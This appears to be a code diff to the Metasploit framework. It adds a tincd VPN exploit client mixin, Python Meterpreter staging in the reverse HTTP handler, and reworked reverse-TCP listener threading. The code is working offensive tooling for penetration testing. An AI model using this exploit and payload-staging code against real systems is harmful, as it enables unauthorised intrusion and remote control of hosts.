# This method takes a {Metasploit::Framework::CredentialCollection} and prepends existing NTLMHashes
|
||||
# from the database. This allows the users to use the DB_ALL_CREDS option.
|
||||
#
|
||||
# @param [Metasploit::Framework::CredentialCollection] the credential collection to add to
|
||||
# @param cred_collection [Metasploit::Framework::CredentialCollection]
|
||||
# the credential collection to add to
|
||||
# @return [Metasploit::Framework::CredentialCollection] the modified Credentialcollection
|
||||
def prepend_db_hashes(cred_collection)
|
||||
if datastore['DB_ALL_CREDS'] && framework.db.active
|
||||
|
@ -67,7 +68,8 @@ module Auxiliary::AuthBrute
|
|||
# This method takes a {Metasploit::Framework::CredentialCollection} and prepends existing SSHKeys
|
||||
# from the database. This allows the users to use the DB_ALL_CREDS option.
|
||||
#
|
||||
# @param [Metasploit::Framework::CredentialCollection] the credential collection to add to
|
||||
# @param cred_collection [Metasploit::Framework::CredentialCollection]
|
||||
# the credential collection to add to
|
||||
# @return [Metasploit::Framework::CredentialCollection] the modified Credentialcollection
|
||||
def prepend_db_keys(cred_collection)
|
||||
if datastore['DB_ALL_CREDS'] && framework.db.active
|
||||
|
@ -82,7 +84,8 @@ module Auxiliary::AuthBrute
|
|||
# This method takes a {Metasploit::Framework::CredentialCollection} and prepends existing Password Credentials
|
||||
# from the database. This allows the users to use the DB_ALL_CREDS option.
|
||||
#
|
||||
# @param [Metasploit::Framework::CredentialCollection] the credential collection to add to
|
||||
# @param cred_collection [Metasploit::Framework::CredentialCollection]
|
||||
# the credential collection to add to
|
||||
# @return [Metasploit::Framework::CredentialCollection] the modified Credentialcollection
|
||||
def prepend_db_passwords(cred_collection)
|
||||
if datastore['DB_ALL_CREDS'] && framework.db.active
|
||||
|
|
|
@ -210,9 +210,15 @@ end
|
|||
###
|
||||
class MissingActionError < ArgumentError
|
||||
include AuxiliaryError
|
||||
attr_accessor :reason
|
||||
|
||||
def initialize(reason='')
|
||||
self.reason = reason
|
||||
super
|
||||
end
|
||||
|
||||
def to_s
|
||||
"A valid action has not been selected."
|
||||
"Invalid action: #{reason}"
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -37,9 +37,16 @@ module Msf
|
|||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptInt.new('UDP_SECRET', [true, 'The 32-bit cookie for UDP probe requests.', 1297303091]),
|
||||
OptAddress.new('GATEWAY', [false, 'The gateway IP address. This will be used rather than a random remote address for the UDP probe, if set.']),
|
||||
OptInt.new('NETMASK', [false, 'The local network mask. This is used to decide if an address is in the local network.', 24]),
|
||||
OptInt.new('SECRET', [true, 'A 32-bit cookie for probe requests.', 'MSF!'.unpack('N').first]),
|
||||
OptAddress.new('GATEWAY_PROBE_HOST',
|
||||
[
|
||||
true,
|
||||
'Send a TTL=1 random UDP datagram to this host to discover the default gateway\'s MAC',
|
||||
'www.metasploit.com']),
|
||||
OptPort.new('GATEWAY_PROBE_PORT',
|
||||
[
|
||||
false,
|
||||
'The port on GATEWAY_PROBE_HOST to send a random UDP probe to (random if 0 or unset)'])
|
||||
], Msf::Exploit::Capture
|
||||
)
|
||||
|
||||
|
@ -117,7 +124,7 @@ module Msf
|
|||
self.capture = ::Pcap.open_live(dev, len, true, tim)
|
||||
if do_arp
|
||||
self.arp_capture = ::Pcap.open_live(dev, 512, true, tim)
|
||||
preamble = datastore['UDP_SECRET'].to_i
|
||||
preamble = datastore['SECRET'].to_i
|
||||
arp_filter = "arp[6:2] = 2 or (udp[8:4] = #{preamble})"
|
||||
self.arp_capture.setfilter(arp_filter)
|
||||
end
|
||||
|
@ -304,15 +311,18 @@ module Msf
|
|||
end
|
||||
|
||||
def probe_gateway(addr)
|
||||
dst_host = (datastore['GATEWAY'] || IPAddr.new((rand(16777216) + 2969567232), Socket::AF_INET).to_s)
|
||||
dst_port = rand(30000)+1024
|
||||
preamble = [datastore['UDP_SECRET']].pack("N")
|
||||
dst_host = datastore['GATEWAY_PROBE_HOST']
|
||||
dst_port = datastore['GATEWAY_PROBE_PORT'] == 0 ? rand(30000) + 1024 : datastore['GATEWAY_PROBE_PORT']
|
||||
preamble = [datastore['SECRET']].pack("N")
|
||||
secret = "#{preamble}#{Rex::Text.rand_text(rand(0xff)+1)}"
|
||||
|
||||
begin
|
||||
UDPSocket.open.send(secret, 0, dst_host, dst_port)
|
||||
UDPSocket.open do |sock|
|
||||
sock.setsockopt(::Socket::IPPROTO_IP, ::Socket::IP_TTL, 1)
|
||||
sock.send(secret, 0, dst_host, dst_port)
|
||||
end
|
||||
rescue Errno::ENETUNREACH
|
||||
# This happens on networks with no gatway. We'll need to use a
|
||||
# This happens on networks with no gateway. We'll need to use a
|
||||
# fake source hardware address.
|
||||
self.arp_cache[Rex::Socket.source_address(addr)] = "00:00:00:00:00:00"
|
||||
end
|
||||
|
@ -402,9 +412,11 @@ module Msf
|
|||
def lookupnet
|
||||
check_pcaprub_loaded
|
||||
dev = datastore['INTERFACE'] || ::Pcap.lookupdev
|
||||
mask = datastore['NETMASK'] || 24
|
||||
begin
|
||||
my_net = IPAddr.new("#{Pcap.lookupnet(dev).first}/#{mask}")
|
||||
my_ip, my_mask = Pcap.lookupnet(dev)
|
||||
# convert the netmask obtained from the relevant interface to CIDR
|
||||
cidr_mask = my_mask.to_s(2).count('1')
|
||||
my_net = IPAddr.new("#{my_ip}/#{cidr_mask}")
|
||||
rescue RuntimeError => e
|
||||
@pcaprub_error = e
|
||||
print_status("Cannot stat device: #{@pcaprub_error}")
|
||||
|
@ -414,10 +426,7 @@ module Msf
|
|||
end
|
||||
|
||||
def should_arp?(ip)
|
||||
@mydev ||= datastore['INTERFACE'] || ::Pcap.lookupdev
|
||||
@mymask ||= datastore['NETMASK'] || 24
|
||||
@mynet ||= lookupnet
|
||||
@mynet.include?(IPAddr.new(ip))
|
||||
lookupnet.include?(IPAddr.new(ip))
|
||||
end
|
||||
|
||||
attr_accessor :capture, :arp_cache, :arp_capture, :dst_cache
|
||||
|
|
|
@ -59,6 +59,7 @@ require 'msf/core/exploit/wdbrpc_client'
|
|||
require 'msf/core/exploit/afp'
|
||||
require 'msf/core/exploit/realport'
|
||||
require 'msf/core/exploit/sip'
|
||||
require 'msf/core/exploit/tincd'
|
||||
|
||||
# Telephony
|
||||
require 'msf/core/exploit/dialup'
|
||||
|
|
|
@ -0,0 +1,341 @@
|
|||
require 'msf/core'
|
||||
require 'msf/core/exploit/tcp'
|
||||
|
||||
require 'securerandom'
|
||||
require 'openssl'
|
||||
require 'digest/sha1'
|
||||
|
||||
module Msf
|
||||
# This module does a handshake with a tincd server and sends one padded packet
|
||||
# Author: Tobias Ospelt <tobias at modzero dot ch> @floyd_ch
|
||||
module Exploit::Remote::TincdExploitClient
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
|
||||
BF_BLOCKSIZE = 64 / 8
|
||||
BF_KEY_LEN = 16
|
||||
BF_IV_LEN = 8
|
||||
|
||||
#
|
||||
# Module options
|
||||
#
|
||||
def initialize(info = {})
|
||||
super
|
||||
register_options(
|
||||
[Opt::RPORT(655),
|
||||
# As this is only for post-auth exploits, you should know the value of the
|
||||
# following variables by simply checking
|
||||
# your configuration.
|
||||
OptPath.new('SERVER_PUBLIC_KEY_FILE', [true, 'Server\'s public key', '']),
|
||||
OptPath.new('CLIENT_PRIVATE_KEY_FILE', [true, 'Client private key', '']),
|
||||
# You should see CLIENT_NAME in cleartext in the first message to the
|
||||
# server by your usual tinc client (tcpdump or
|
||||
# wireshark it: e.g. "0 home 17.0", so it's "home"). On the server,
|
||||
# this is located in the config folder, e.g. in FreeBSD
|
||||
# there is the client public key file /usr/local/etc/tinc/hosts/home
|
||||
# for the client "home"
|
||||
# If you don't have a clue, maybe just try the filename of your private
|
||||
# key without file extension
|
||||
OptString.new('CLIENT_NAME', [true, 'Your client name (pre-shared with server)' , ''])
|
||||
], self
|
||||
)
|
||||
end
|
||||
|
||||
#
|
||||
# Setting up variables and calling cipher inits with file paths from configuration
|
||||
#
|
||||
def setup_ciphers
|
||||
@state = :id_state
|
||||
@buffer = ''
|
||||
@inbuffer = ''
|
||||
@encryption_queue = []
|
||||
|
||||
@packet_payload = nil
|
||||
@keep_reading_socket = false
|
||||
|
||||
@server_key_len = nil
|
||||
@client_key_len = nil
|
||||
@client_private_key_cipher = nil
|
||||
@hex_enc_key_s1 = nil
|
||||
@bf_enc_cipher = nil
|
||||
init_ciphers(datastore['SERVER_PUBLIC_KEY_FILE'], datastore['CLIENT_PRIVATE_KEY_FILE'])
|
||||
vprint_status('Ciphers locally initalized, private key and public key files seem to be ok')
|
||||
@bf_dec_cipher = nil
|
||||
end
|
||||
|
||||
#
|
||||
# The main method that will be called that will call other methods to send first message
|
||||
# and continously read from socket and ensures TCP disconnect at the end
|
||||
#
|
||||
def send_recv(packet_payload)
|
||||
@packet_payload = packet_payload
|
||||
@keep_reading_socket = true
|
||||
connect
|
||||
begin
|
||||
# send the first message
|
||||
id
|
||||
# Condition to get out of the while loop: ack_state to false. Unsafe? Maybe a timeout?
|
||||
while @keep_reading_socket
|
||||
process_data(sock.get_once)
|
||||
end
|
||||
rescue Errno::ECONNRESET
|
||||
if @state == :metakey_state
|
||||
fail 'Server reset the connection. Probably rejecting ' +
|
||||
'the private key and/or client name (e.g. client name not associated ' +
|
||||
'with client public key on server side). ' +
|
||||
'Wrong server public key possible too. ' +
|
||||
'Please recheck client name, client private key and ' +
|
||||
'server public key.'
|
||||
else
|
||||
fail 'Server reset the connection, reason unknown.'
|
||||
end
|
||||
ensure
|
||||
disconnect
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Reading of certificate files and parsing them, generation of random keys
|
||||
# and intialization of OFB mode blowfish cipher
|
||||
#
|
||||
def init_ciphers(server_file, client_file)
|
||||
server_public_key_cipher = OpenSSL::PKey::RSA.new(File.read(server_file))
|
||||
@server_key_len = server_public_key_cipher.n.num_bytes
|
||||
@client_private_key_cipher = OpenSSL::PKey::RSA.new(File.read(client_file))
|
||||
@client_key_len = @client_private_key_cipher.n.num_bytes
|
||||
vprint_status("Our private key length is #{@client_key_len}, expecting same length for metakey and challenge")
|
||||
vprint_status("Server's public key length is #{@server_key_len}, sending same metakey and challenge length")
|
||||
|
||||
# we don't want this to happen here:
|
||||
# `public_encrypt': data too large for modulus (OpenSSL::PKey::RSAError)
|
||||
# simple solution: choose the key_s1 with a leading zero byte
|
||||
key_s1 = "\x00"+SecureRandom.random_bytes(@server_key_len-1)
|
||||
enc_key_s1 = server_public_key_cipher.public_encrypt(key_s1, OpenSSL::PKey::RSA::NO_PADDING)
|
||||
|
||||
@hex_enc_key_s1 = enc_key_s1.unpack('H*')[0]
|
||||
|
||||
offset_key = @server_key_len - BF_KEY_LEN
|
||||
offset_iv = @server_key_len - BF_KEY_LEN - BF_IV_LEN
|
||||
bf_enc_key = key_s1[offset_key...@server_key_len]
|
||||
bf_enc_iv = key_s1[offset_iv...offset_key]
|
||||
|
||||
@bf_enc_cipher = OpenSSL::Cipher::Cipher.new('BF-OFB')
|
||||
@bf_enc_cipher.encrypt
|
||||
@bf_enc_cipher.key = bf_enc_key
|
||||
@bf_enc_cipher.iv = bf_enc_iv
|
||||
|
||||
# #Looks like ruby openssl supports other lengths than multiple of 8!
|
||||
# test = @bf_enc_cipher.update('A'*10)
|
||||
# test << @bf_enc_cipher.final
|
||||
# puts "Testing cipher: "+test.unpack('H*')[0]
|
||||
end
|
||||
|
||||
#
|
||||
# Depending on the state of the protocol handshake and the data we get back
|
||||
# from the server, this method will decide which message has to be sent next
|
||||
#
|
||||
def process_data(data)
|
||||
@inbuffer += data if data
|
||||
case @state
|
||||
when :id_state
|
||||
if line?
|
||||
data = read_line
|
||||
vprint_status("Received ID from server: [#{data[0..30]}]")
|
||||
@state = :metakey_state
|
||||
# next expected state
|
||||
metakey
|
||||
end
|
||||
when :metakey_state
|
||||
if line?
|
||||
data = read_line
|
||||
vprint_status("Received Metakey from server: [#{data[0..30]}...]")
|
||||
data = data.split(' ')
|
||||
fail 'Error in protocol. The first byte should be an ASCII 1.' unless data.first == '1'
|
||||
hexkey_s2 = data[5].rstrip # ("\n")
|
||||
fail "Error in protocol. metakey length should be #{@client_key_len}." unless hexkey_s2.length == @client_key_len * 2
|
||||
@enckey_s2 = [hexkey_s2].pack('H*')
|
||||
key_s2 = @client_private_key_cipher.private_decrypt(@enckey_s2, OpenSSL::PKey::RSA::NO_PADDING)
|
||||
|
||||
# metakey setup according to protocol_auth.c
|
||||
# if(!EVP_DecryptInit(c->inctx, c->incipher,
|
||||
# (unsigned char *)c->inkey + len - c->incipher->key_len, # <--- KEY pointer
|
||||
# (unsigned char *)c->inkey + len - c->incipher->key_len - c->incipher->iv_len # <--- IV pointer
|
||||
# ))
|
||||
offset_key = @client_key_len - BF_KEY_LEN
|
||||
offset_iv = @client_key_len - BF_KEY_LEN - BF_IV_LEN
|
||||
bf_dec_key = key_s2[offset_key...@client_key_len]
|
||||
bf_dec_iv = key_s2[offset_iv...offset_key]
|
||||
|
||||
@bf_dec_cipher = OpenSSL::Cipher::Cipher.new 'BF-OFB'
|
||||
@bf_dec_cipher.encrypt
|
||||
@bf_dec_cipher.key = bf_dec_key
|
||||
@bf_dec_cipher.iv = bf_dec_iv
|
||||
# don't forget, it *does* matter if you do a
|
||||
# @bf_dec_cipher.reset or not, we're in OFB mode. DON'T.
|
||||
vprint_status('Metakey handshake/exchange completed')
|
||||
@state = :challenge_state
|
||||
challenge
|
||||
end
|
||||
when :challenge_state
|
||||
need_len = 2 * @client_key_len + 3
|
||||
if @inbuffer.length >= need_len
|
||||
data = pop_inbuffer_and_decrypt(need_len)
|
||||
vprint_status("Received challenge from server: " +
|
||||
"[#{data.unpack('H*')[0][0..30]}...]")
|
||||
data = data.split(' ', 2)
|
||||
fail 'Error in protocol. The first byte should be an ASCII 2. Got #{data[0]}.' unless data.first == '2'
|
||||
challenge2 = data[1][0...2 * @client_key_len]
|
||||
challenge2 = [challenge2].pack('H*')
|
||||
fail "Error in protocol. challenge2 length should be #{@client_key_len}." unless challenge2.length == @client_key_len
|
||||
@state = :challenge_reply_state
|
||||
challenge_reply(challenge2)
|
||||
end
|
||||
when :challenge_reply_state
|
||||
need_len = 43
|
||||
if @inbuffer.length >= need_len
|
||||
data = pop_inbuffer_and_decrypt(need_len)
|
||||
vprint_status("Received challenge reply from server:" +
|
||||
" [#{data.unpack('H*')[0][0..30]}...]")
|
||||
@state = :ack_state
|
||||
ack
|
||||
end
|
||||
when :ack_state
|
||||
need_len = 12
|
||||
if @inbuffer.length >= need_len
|
||||
data = pop_inbuffer_and_decrypt(need_len)
|
||||
vprint_status("Received ack (server accepted challenge response):" +
|
||||
"[#{data.unpack('H*')[0][0..30]}...]")
|
||||
@state = :done_state
|
||||
send_packet
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Encryption queue where waiting data gets encrypted and afterwards
|
||||
# the remaining messages get sent
|
||||
#
|
||||
def handle_write
|
||||
# handle encryption queue first
|
||||
unless @encryption_queue.empty?
|
||||
msg = @encryption_queue[0]
|
||||
@encryption_queue.delete_at(0)
|
||||
@buffer = @bf_enc_cipher.update(msg)
|
||||
@buffer << @bf_enc_cipher.final
|
||||
# DON'T DO A @bf_enc_cipher.reset, we're in OFB mode and
|
||||
# the resulting block is used to encrypt the next block.
|
||||
end
|
||||
|
||||
unless @buffer.empty?
|
||||
sent = send_data(@buffer)
|
||||
vprint_status("Sent #{sent} bytes: " +
|
||||
"[#{@buffer.unpack('H*')[0][0..30]}...]")
|
||||
@buffer = @buffer[sent..@buffer.length]
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Simple socket put/write
|
||||
#
|
||||
def send_data(buf)
|
||||
sock.put(buf)
|
||||
end
|
||||
|
||||
#
|
||||
# Decryption method to process data sent by server
|
||||
#
|
||||
def pop_inbuffer_and_decrypt(size)
|
||||
# In ruby openssl OFM works not only on full blocks, but also on
|
||||
# parts. Therefore no worries like in pycrypto and no
|
||||
# modified decrypt routine, simply use the cipher as is.
|
||||
data = @bf_dec_cipher.update(@inbuffer.slice!(0, size))
|
||||
data << @bf_dec_cipher.final
|
||||
# DON'T DO A @bf_enc_cipher.reset, we're in OFB mode and
|
||||
# the resulting block is used to decrypt the next block.
|
||||
end
|
||||
|
||||
#
|
||||
# Read up to the next newline from the data the server sent
|
||||
#
|
||||
def read_line
|
||||
idx = @inbuffer.index("\n")
|
||||
data = @inbuffer.slice!(0, idx)
|
||||
@inbuffer.lstrip!
|
||||
data
|
||||
end
|
||||
|
||||
#
|
||||
# Check if we already received a newline, meaning we got an
|
||||
# entire message for the next protocol step
|
||||
#
|
||||
def line?
|
||||
!!(@inbuffer.match("\n"))
|
||||
end
|
||||
|
||||
#
|
||||
# Start message method after TCP handshake
|
||||
#
|
||||
def id
|
||||
msg = "0 #{datastore['CLIENT_NAME']} 17.0\n"
|
||||
vprint_status("Sending ID (cleartext): [#{msg.gsub("\n", '')}]")
|
||||
@buffer += msg
|
||||
handle_write
|
||||
end
|
||||
|
||||
#
|
||||
# Sending metakey (transferring a symmetric key that will get encrypted with
|
||||
# public key before beeing sent to the server)
|
||||
#
|
||||
def metakey
|
||||
msg = "1 94 64 0 0 #{@hex_enc_key_s1}\n"
|
||||
vprint_status("Sending metakey (cleartext): [#{msg[0..30]}...]")
|
||||
@buffer += msg
|
||||
handle_write
|
||||
end
|
||||
|
||||
#
|
||||
# Send challenge random bytes
|
||||
#
|
||||
def challenge
|
||||
vprint_status('Sending challenge (ciphertext)')
|
||||
challenge = SecureRandom.random_bytes(@server_key_len)
|
||||
msg = "2 #{challenge.unpack('H*')[0]}\n"
|
||||
@encryption_queue.push(msg)
|
||||
handle_write
|
||||
end
|
||||
|
||||
#
|
||||
# Reply to challenge that was sent by server
|
||||
#
|
||||
def challenge_reply(challenge2)
|
||||
vprint_status('Sending challenge reply (ciphertext)')
|
||||
h = Digest::SHA1.hexdigest(challenge2)
|
||||
msg = "3 #{h.upcase}\n"
|
||||
@encryption_queue.push(msg)
|
||||
handle_write
|
||||
end
|
||||
|
||||
#
|
||||
# Ack state to signalise challenge/response was successfull
|
||||
#
|
||||
def ack
|
||||
vprint_status('Sending ack (signalise server that we accept challenge' +
|
||||
'reply, ciphertext)')
|
||||
@encryption_queue.push("4 #{datastore['RPORT']} 123 0 \n")
|
||||
handle_write
|
||||
end
|
||||
|
||||
#
|
||||
# Sending a packet inside the VPN connection after successfull protocol setup
|
||||
#
|
||||
def send_packet
|
||||
vprint_status('Protocol finished setup. Going to send packet.')
|
||||
msg = "17 #{@packet_payload.length}\n#{@packet_payload}"
|
||||
plen = BF_BLOCKSIZE - (msg.length % BF_BLOCKSIZE)
|
||||
# padding
|
||||
msg += 'B' * plen
|
||||
@encryption_queue.push(msg)
|
||||
@keep_reading_socket = false
|
||||
handle_write
|
||||
end
|
||||
end
|
||||
end
|
|
@ -146,7 +146,7 @@ module BindTcp
|
|||
# to implement the Stream interface.
|
||||
conn_threads << framework.threads.spawn("BindTcpHandlerSession", false, client) { |client_copy|
|
||||
begin
|
||||
handle_connection(wrap_aes_socket(client_copy))
|
||||
handle_connection(wrap_aes_socket(client_copy), { datastore: datastore })
|
||||
rescue
|
||||
elog("Exception raised from BindTcp.handle_connection: #{$!}")
|
||||
end
|
||||
|
|
|
@ -55,7 +55,7 @@ module FindPort
|
|||
# If this is a multi-stage payload, then we just need to blindly
|
||||
# transmit the stage and create the session, hoping that it works.
|
||||
if (self.payload_type != Msf::Payload::Type::Single)
|
||||
handle_connection(sock)
|
||||
handle_connection(sock, { datastore: datastore })
|
||||
# Otherwise, check to see if we found a session. We really need
|
||||
# to improve this, as we could create a session when the exploit
|
||||
# really didn't succeed.
|
||||
|
|
|
@ -194,6 +194,40 @@ protected
|
|||
|
||||
# Process the requested resource.
|
||||
case uri_match
|
||||
when /^\/INITPY/
|
||||
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
|
||||
url = payload_uri + conn_id + '/'
|
||||
|
||||
blob = ""
|
||||
blob << obj.generate_stage
|
||||
|
||||
var_escape = lambda { |txt|
|
||||
txt.gsub('\\', '\\'*8).gsub('\'', %q(\\\\\\\'))
|
||||
}
|
||||
|
||||
# Patch all the things
|
||||
blob.sub!('HTTP_CONNECTION_URL = None', "HTTP_CONNECTION_URL = '#{var_escape.call(url)}'")
|
||||
blob.sub!('HTTP_EXPIRATION_TIMEOUT = 604800', "HTTP_EXPIRATION_TIMEOUT = #{datastore['SessionExpirationTimeout']}")
|
||||
blob.sub!('HTTP_COMMUNICATION_TIMEOUT = 300', "HTTP_COMMUNICATION_TIMEOUT = #{datastore['SessionCommunicationTimeout']}")
|
||||
blob.sub!('HTTP_USER_AGENT = None', "HTTP_USER_AGENT = '#{var_escape.call(datastore['MeterpreterUserAgent'])}'")
|
||||
|
||||
unless datastore['PROXYHOST'].blank?
|
||||
proxy_url = "http://#{datastore['PROXYHOST']}:#{datastore['PROXYPORT']}"
|
||||
blob.sub!('HTTP_PROXY = None', "HTTP_PROXY = '#{var_escape.call(proxy_url)}'")
|
||||
end
|
||||
|
||||
resp.body = blob
|
||||
|
||||
# Short-circuit the payload's handle_connection processing for create_session
|
||||
create_session(cli, {
|
||||
:passive_dispatcher => obj.service,
|
||||
:conn_id => conn_id,
|
||||
:url => url,
|
||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
||||
:ssl => ssl?,
|
||||
})
|
||||
|
||||
when /^\/INITJM/
|
||||
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
|
||||
url = payload_uri + conn_id + "/\x00"
|
||||
|
@ -201,7 +235,7 @@ protected
|
|||
blob = ""
|
||||
blob << obj.generate_stage
|
||||
|
||||
# This is a TLV packet - I guess somewhere there should be API for building them
|
||||
# This is a TLV packet - I guess somewhere there should be an API for building them
|
||||
# in Metasploit :-)
|
||||
packet = ""
|
||||
packet << ["core_switch_url\x00".length + 8, 0x10001].pack('NN') + "core_switch_url\x00"
|
||||
|
@ -223,7 +257,6 @@ protected
|
|||
})
|
||||
|
||||
when /^\/A?INITM?/
|
||||
|
||||
url = ''
|
||||
|
||||
print_status("#{cli.peerhost}:#{cli.peerport} Staging connection for target #{req.relative_resource} received...")
|
||||
|
|
|
@ -8,8 +8,9 @@ module Msf
|
|||
# Define 8-bit checksums for matching URLs
|
||||
# These are based on charset frequency
|
||||
#
|
||||
URI_CHECKSUM_INITW = 92
|
||||
URI_CHECKSUM_INITJ = 88
|
||||
URI_CHECKSUM_INITW = 92 # Windows
|
||||
URI_CHECKSUM_INITP = 80 # Python
|
||||
URI_CHECKSUM_INITJ = 88 # Java
|
||||
URI_CHECKSUM_CONN = 98
|
||||
|
||||
#
|
||||
|
@ -61,6 +62,8 @@ module Msf
|
|||
case uri_check
|
||||
when URI_CHECKSUM_INITW
|
||||
uri_match = "/INITM"
|
||||
when URI_CHECKSUM_INITP
|
||||
uri_match = "/INITPY"
|
||||
when URI_CHECKSUM_INITJ
|
||||
uri_match = "/INITJM"
|
||||
when URI_CHECKSUM_CONN
|
||||
|
|
|
@ -59,7 +59,6 @@ module ReverseTcp
|
|||
OptBool.new('ReverseListenerThreaded', [ true, 'Handle every connection in a new thread (experimental)', false])
|
||||
], Msf::Handler::ReverseTcp)
|
||||
|
||||
self.handler_queue = ::Queue.new
|
||||
self.conn_threads = []
|
||||
end
|
||||
|
||||
|
@ -137,36 +136,45 @@ module ReverseTcp
|
|||
# Starts monitoring for an inbound connection.
|
||||
#
|
||||
def start_handler
|
||||
local_port = bind_port
|
||||
self.listener_thread = framework.threads.spawn("ReverseTcpHandlerListener-#{local_port}", false) {
|
||||
client = nil
|
||||
queue = ::Queue.new
|
||||
|
||||
begin
|
||||
local_port = bind_port
|
||||
|
||||
self.listener_thread = framework.threads.spawn("ReverseTcpHandlerListener-#{local_port}", false, queue) { |lqueue|
|
||||
loop do
|
||||
# Accept a client connection
|
||||
begin
|
||||
client = self.listener_sock.accept
|
||||
rescue
|
||||
wlog("Exception raised during listener accept: #{$!}\n\n#{$@.join("\n")}")
|
||||
if ! client
|
||||
wlog("ReverseTcpHandlerListener-#{local_port}: No client received in call to accept, exiting...")
|
||||
break
|
||||
end
|
||||
|
||||
# Increment the has connection counter
|
||||
self.pending_connections += 1
|
||||
|
||||
self.handler_queue.push( client )
|
||||
end while true
|
||||
lqueue.push(client)
|
||||
rescue ::Exception
|
||||
wlog("ReverseTcpHandlerListener-#{local_port}: Exception raised during listener accept: #{$!}\n\n#{$@.join("\n")}")
|
||||
break
|
||||
end
|
||||
end
|
||||
}
|
||||
|
||||
self.handler_thread = framework.threads.spawn("ReverseTcpHandlerWorker-#{local_port}", false) {
|
||||
while true
|
||||
client = self.handler_queue.pop
|
||||
self.handler_thread = framework.threads.spawn("ReverseTcpHandlerWorker-#{local_port}", false, queue) { |cqueue|
|
||||
loop do
|
||||
begin
|
||||
client = cqueue.pop
|
||||
|
||||
if ! client
|
||||
elog("ReverseTcpHandlerWorker-#{local_port}: Queue returned an empty result, exiting...")
|
||||
break
|
||||
end
|
||||
|
||||
if datastore['ReverseListenerThreaded']
|
||||
self.conn_threads << framework.threads.spawn("ReverseTcpHandlerSession-#{local_port}-#{client.peerhost}", false, client) { | client_copy|
|
||||
handle_connection(wrap_aes_socket(client_copy))
|
||||
self.conn_threads << framework.threads.spawn("ReverseTcpHandlerSession-#{local_port}-#{client.peerhost}", false, client) { |client_copy|
|
||||
handle_connection(wrap_aes_socket(client_copy), { datastore: datastore })
|
||||
}
|
||||
else
|
||||
handle_connection(wrap_aes_socket(client))
|
||||
handle_connection(wrap_aes_socket(client), { datastore: datastore })
|
||||
end
|
||||
rescue ::Exception
|
||||
elog("Exception raised from handle_connection: #{$!.class}: #{$!}\n\n#{$@.join("\n")}")
|
||||
|
@ -273,7 +281,6 @@ protected
|
|||
attr_accessor :listener_sock # :nodoc:
|
||||
attr_accessor :listener_thread # :nodoc:
|
||||
attr_accessor :handler_thread # :nodoc:
|
||||
attr_accessor :handler_queue # :nodoc:
|
||||
attr_accessor :conn_threads # :nodoc:
|
||||
end
|
||||
|
||||
|
|
|
@ -120,7 +120,7 @@ module ReverseTcpDouble
|
|||
begin
|
||||
sock_inp, sock_out = detect_input_output(client_a_copy, client_b_copy)
|
||||
chan = TcpReverseDoubleSessionChannel.new(framework, sock_inp, sock_out)
|
||||
handle_connection(chan.lsock)
|
||||
handle_connection(chan.lsock, { datastore: datastore })
|
||||
rescue
|
||||
elog("Exception raised from handle_connection: #{$!}\n\n#{$@.join("\n")}")
|
||||
end
|
||||
|
|
|
@ -121,7 +121,7 @@ module ReverseTcpDoubleSSL
|
|||
begin
|
||||
sock_inp, sock_out = detect_input_output(client_a_copy, client_b_copy)
|
||||
chan = TcpReverseDoubleSSLSessionChannel.new(framework, sock_inp, sock_out)
|
||||
handle_connection(chan.lsock)
|
||||
handle_connection(chan.lsock, { datastore: datastore })
|
||||
rescue
|
||||
elog("Exception raised from handle_connection: #{$!}\n\n#{$@.join("\n")}")
|
||||
end
|
||||
|
|
|
@ -53,6 +53,10 @@ class Module
|
|||
include Msf::Module::UI
|
||||
include Msf::Module::UUID
|
||||
|
||||
# The key where a comma-separated list of Ruby module names will live in the
|
||||
# datastore, consumed by #replicant to allow clean override of MSF module methods.
|
||||
REPLICANT_EXTENSION_DS_KEY = 'ReplicantExtensions'
|
||||
|
||||
# Make include public so we can runtime extend
|
||||
public_class_method :include
|
||||
|
||||
|
@ -142,7 +146,6 @@ class Module
|
|||
# Creates a fresh copy of an instantiated module
|
||||
#
|
||||
def replicant
|
||||
|
||||
obj = self.class.new
|
||||
self.instance_variables.each { |k|
|
||||
v = instance_variable_get(k)
|
||||
|
@ -154,9 +157,34 @@ class Module
|
|||
obj.user_input = self.user_input
|
||||
obj.user_output = self.user_output
|
||||
obj.module_store = self.module_store.clone
|
||||
|
||||
obj.perform_extensions
|
||||
obj
|
||||
end
|
||||
|
||||
# Extends self with the constant list in the datastore
|
||||
# @return [void]
|
||||
def perform_extensions
|
||||
if datastore[REPLICANT_EXTENSION_DS_KEY].present?
|
||||
if datastore[REPLICANT_EXTENSION_DS_KEY].respond_to?(:each)
|
||||
datastore[REPLICANT_EXTENSION_DS_KEY].each do |const|
|
||||
self.extend(const)
|
||||
end
|
||||
else
|
||||
fail "Invalid settings in datastore at key #{REPLICANT_EXTENSION_DS_KEY}"
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# @param[Constant] One or more Ruby constants
|
||||
# @return [void]
|
||||
def register_extensions(*rb_modules)
|
||||
datastore[REPLICANT_EXTENSION_DS_KEY] = [] unless datastore[REPLICANT_EXTENSION_DS_KEY].present?
|
||||
rb_modules.each do |rb_mod|
|
||||
datastore[REPLICANT_EXTENSION_DS_KEY] << rb_mod unless datastore[REPLICANT_EXTENSION_DS_KEY].include? rb_mod
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the unduplicated class associated with this module.
|
||||
#
|
||||
|
|
|
@ -6,7 +6,7 @@ require 'rex'
|
|||
# It provides methods to generate Java / JSP code.
|
||||
module Msf::Payload::JSP
|
||||
|
||||
# @param attributes [Hash{Symbol => String,nil}]
|
||||
# @param [Hash<Symbol, [String, nil]>] info
|
||||
def initialize(info = {})
|
||||
ret = super(info)
|
||||
|
||||
|
|
|
@ -309,12 +309,14 @@ module Msf
|
|||
# Allow comma seperated list of encoders so users can choose several
|
||||
encoder.split(',').each do |chosen_encoder|
|
||||
e = framework.encoders.create(chosen_encoder)
|
||||
e.datastore.import_options_from_hash(datastore)
|
||||
